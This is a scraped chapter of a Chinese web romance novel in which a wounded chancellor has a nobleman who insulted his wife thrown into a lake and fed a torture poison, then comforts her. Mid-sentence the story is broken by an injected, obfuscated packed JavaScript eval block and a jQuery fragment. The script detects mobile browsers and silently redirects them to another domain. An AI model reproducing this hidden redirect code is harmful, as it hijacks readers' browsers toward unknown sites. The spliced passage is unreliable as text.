15. 天水泊步汨晚虚

作品:《谋夺臣妻

    向晚词低头,轻声问:“要什么?”


    荀令没回答。


    他扶着桌子起身,向晚词走过来扶住他,两人往外走。到了湖边,早有接引的船在那等候,两人上了船,船向湖心划去。


    登云阁内的湖是京城第一大湖千醴湖的支流,千醴湖的湖面最宽的地方超过百里,开船到这上面去议事,是科官们的惯例。


    坐到船上后,荀令道:“这里水深,等会儿不要靠船边太近。”


    “我不会靠太近的,我会游水的,没事。”


    “这里淹死过很多会水的。湖下水草茂密,一旦被缠住,很难摆脱。”


    “知道了知道了,我不会靠近的。现在湖水还很冷,我也不想下去,会得风寒的。”


    见她应了,荀令就不再说下去。


    到了湖心,那里已经停了许多船了,中间那艘最大,就是此次科官们议事的船。围在周围的小船都是科官们的船,这些船都离大船有一段距离,只有一艘小船紧邻着大船,接引荀令的船就划到了这艘小船处。


    到了船边,荀令指了指小船,说:“留几个护卫给你,有刺客他们会应付。还有你的丫鬟,要做什么让她们去做。白管事就在附近,有事让他去知会我。”


    “好。”


    又交代了几句,荀令松开手。向晚词朝他挥挥手,就上了小船。


    等候在不远处的吴代示意船夫靠近,他坐的船就到了荀令的船前。吴代跳到那艘船上,笑着低声说:“延之,现在你没得选了,只有靠我扶着你了。”


    荀令不答,直接吩咐船夫开船。


    到了大船边,吴代扶着荀令上船了,早已等候多时的科官们纷纷上前来见礼。荀令不紧不慢地从容还礼,风仪清隽,秀出群伦,丝毫看不出身受重伤的样子。


    向晚词坐在小船上,看见那边被众官围住的荀令,不由暗叹了一声。那里才是他该去的地方,天眷国最年轻的状元、丞相,跟她是两个世界的人,他们本来不该有交集,很快就会各走各路了。她不再朝那边看过去,走到船里坐下。


    跟众人见过礼后,荀令朝那边看去。她已经坐在船中,背对着大船,他只能看到她的背影。


    一旁的吴代低声提醒:“延之,该进去了。此次秋闱和春闱的主考官的人选,咱们是一定不能松口的。”


    荀令收回目光,缓步进入船舱。


    大船四周漂着不少花船,上面移植了许多照夜玉芙蓉,花影摇曳,水气缭绕,莲香弥漫,美不胜收。向晚词看着那些花,心思却不在花上,脑海中不断浮现这几个月以来的事情。


    从她莫名其妙被皇帝赐婚,到嫁到荀府后的一桩桩一件件,都在此时此刻冒出来,打扰着她,也提醒着她。人不能太贪心。别有不该有的念头,别想会让自己意难平的事,别奢望不该奢望的东西,守住自己已有的,足够了。


    足够了。


    日渐西沉,暮色将晚,大船上的争论逐渐停歇,争了半日,众官各有妥协,勉强达成一致,离开了船内议事阁,到外间去就坐。在船舱内闷坐了许久,众官都要出去透透气。


    荀令坐在外间的首位上,脸色略显苍白。他伤势未愈,本不该如此劳心,只是这次议事太过重要,他不得不亲自参加。


    坐在荀令旁边的吴代一直在注意他的脸色,见他脸色不好,心中暗自着急。此时议事快结束了,吴代低声问:“延之,要不要先回去?别参加晚宴了。”


    荀令刚要开口,那边一阵嘈杂人声传来,打断了他,也惊动了大船上的众官。荀令耳力过人,在众人还没听清那边在吵什么的时候,他已经把那些话语声听得清清楚楚了。


    听清之后,他的脸色瞬间沉了下来。


    一旁的吴代吓了一跳,他已经许多年没见荀令这种神情了,还当着这么多人的面。他赶紧出言提醒:“延之,延之。”


    荀令迅速收敛情绪,面上恢复了一贯的云淡风轻。众官的注意力都被那边的喧哗声吸引过去,很少有人注意到他脸上一闪而逝的阴霾。


    “天一。”荀令开口了,语声一如既往淡如茶汤,却多了些冷意。


    一直隐在暗处的暗卫首领天一当即现身。


    “去把安国侯世子扔到水里,不准人救。”


    “是。”


    领命后,天一瞬间消失。


    听到荀令的话后,吴代满心疑问,安国侯世子?那个好色的纨绔为何会到这里来?延之为何要让手下把他扔到湖里?


    等等,好色,湖里,吵闹声,延之的脸色,不会是他想的那样吧。不看脸,只看身姿的话,那向家姑娘实在像个美人。那安国侯世子该不会是去调戏她了吧?


    吴代看看荀令,马上确定,多半是他想的那样了。没等他开口,荀令已经朝那边走去,吴代赶忙上前去搀扶他。船上的一众官员也想瞧热闹,就跟着往那边去。


    等众人到了那边,安国侯世子已经在湖里扑腾了。有几人想下水捞他,但是一靠近他就被天一用暗器击伤了手,其他人都不敢再尝试了。


    荀令看也没看在水里呼喊救命的安国侯世子,让人划船到小船上去。到了小船上,他才见到了向晚词,她正被丫鬟仆妇和侍卫们围在中间。


    荀令仔细打量了一下,发现她没什么变化,才放下心来,方欲开口,又被一阵叫嚣打断了。


    “你这个荀家丑妇!居然敢叫人把我扔到水里,你给我等着。”


    “要不是陛下抬举你,你哪来的机会做丞相夫人!竟然敢这么对我,我定要到陛下那告你这丑妇的恶毒行径。”


    “怎么?只敢蒙头盖脸,不敢已真面目示人?是不是怕吓到别人?本世子真是瞎了眼,方才还以为邂逅了一位窈窕美人,没想到是你这个闻名京城的丑妇。生得丑就该躲在家里,别出来吓人……”


    荀令面色沉静,淡淡道:“天一,把他的舌头拔出来。”


    向晚词正想让人开船,避到大船的另一边去,忽然听到了荀令的声音,立刻循声望去,发现他来了,赶忙说:“别,别,别把事情闹大了,那可是安国侯世子。”


    “那又如何?”


    “会给你惹麻烦的。”


    荀令朝她走过去,众人纷纷让到一旁。走到她面前后,荀令握住她的手,温声说:“没人可以欺辱我的妻子。”


    被他握住了手,向晚词的手颤了颤。听到他的话,向晚词的心也颤了颤,低声说:“没关系的,我不在意这个,已经听习惯了,没事的,就是几句话而已,没什么大不了的。不要把事闹大了好不好?我不想给你增添麻烦。”


    两人说话间,水里的安国侯世子还在叫嚣。他水性颇佳,要不是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170929|180139||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    被天一阻拦,他自己早就游到了船上了。


    向晚词握了握荀令的手,她手心里都是汗,还在不住颤抖,和当初受伤拔剑的时候很相似。荀令握紧她的手,道:“好。天一,给他吃‘悔不当初’,十颗。”


    悔不当初,一种毒药。顾名思义,吃下这种毒药的人,会遭受很多非人的痛苦,会无比后悔做下的事,以至于被人喂这种毒药。这毒药不会死不会残,只会让人痛不欲生,是专门用来惩罚人的毒药,一颗药效持续三天,十颗就是一月。


    向晚词还要开口,荀令已经打断她了:“这是我的底线。”


    闻言,她暗自叹气,闭嘴了。


    天一取出药丸,一连弹指数下,十颗药丸就准确无误地飞入叫嚣不已的安国侯世子嘴里。那安国侯世子不明就里,一连被迫吞下了那么多药丸,还以为是向晚词让人给他下药,嘴里的话就骂得更难听了。


    船上一众官员都听得眉头大皱,这糊涂世子这么当众羞辱荀相的妻子,不管那向氏如何不招荀相待见,他要是不出头维护,扫的就是他的颜面。连这么粗浅的道理都不明白,果真是草包一个。


    很快,叫嚣变成了哀嚎痛呼,痛不欲生的药效立竿见影,安国侯世子的惨叫一阵阵传来,听得在场的官员们不寒而栗。因为太痛,安国侯世子根本没法游水,在水里浮浮沉沉,沉入水里的时候比浮起来的时候多。


    向晚词怕他真的淹死了,又握了握荀令的手。


    荀令看也不看湖面,只道:“天一,捞起来。”


    天一纵身飞掠过去,轻点几下水面,就到了安国侯世子身边,伸手提起他,又翻身跃回船上。他身法极其干净利落,船上一片叫好声。安国侯世子到了船上,就在船板上滚地哀嚎,众官纷纷避让,给他留出足够的打滚空间。


    荀令懒得再听那家伙的哀嚎,直接吩咐船夫开船回登云阁去。见他如此,吴代暗叹一声,吩咐手下去看着安国侯世子,等他家人来接他。至于解药,那就要让定国侯府的人自己去想办法了。


    回去的路上,荀令一言不发,只是握着向晚词的手。船上那么多人看着,她实在不好意思,只好低头看着船板,一声不吭。到了登云阁,荀令没在小游园停留,直接上了马车,往荀府去了。吴代没去,把两人送走后,他继续回去参加晚宴去了。


    在马车上,荀令还握着她的手,到了荀府仍旧握着。回到洞天院后,他还握着,似乎忘了放开。到了房中,向晚词想开口说些什么,却又不知道该说什么,只能闭口不言。


    荀令望着她,许久都没说话,两人就这么对坐着不言不语。


    不知过了多久,荀令才开口:“你很美。”


    他的声音平静而清淡,似乎与平常一样,似乎又不太一样。


    听到这话,向晚词怔了许久。回过神来后,她眼前已经是模糊一片了,大颗大颗的泪水落到面纱上,她竭力想忍住,泪水却不听她的,一个劲往外流。


    一只手伸了过来,把她搂入怀中,轻轻拍着她的背。向晚词再也忍耐不住,伏在他怀里无声痛哭。泪水打湿了面纱,也打湿了帷帽,沾到荀令的衣服上。


    感觉到了衣襟上的湿意,荀令搂紧怀中人,闭上眼。细细的啜泣声传入他耳中,仿佛有无形的针刺,一下下扎在他心上,细细密密,扎得他隐隐作痛。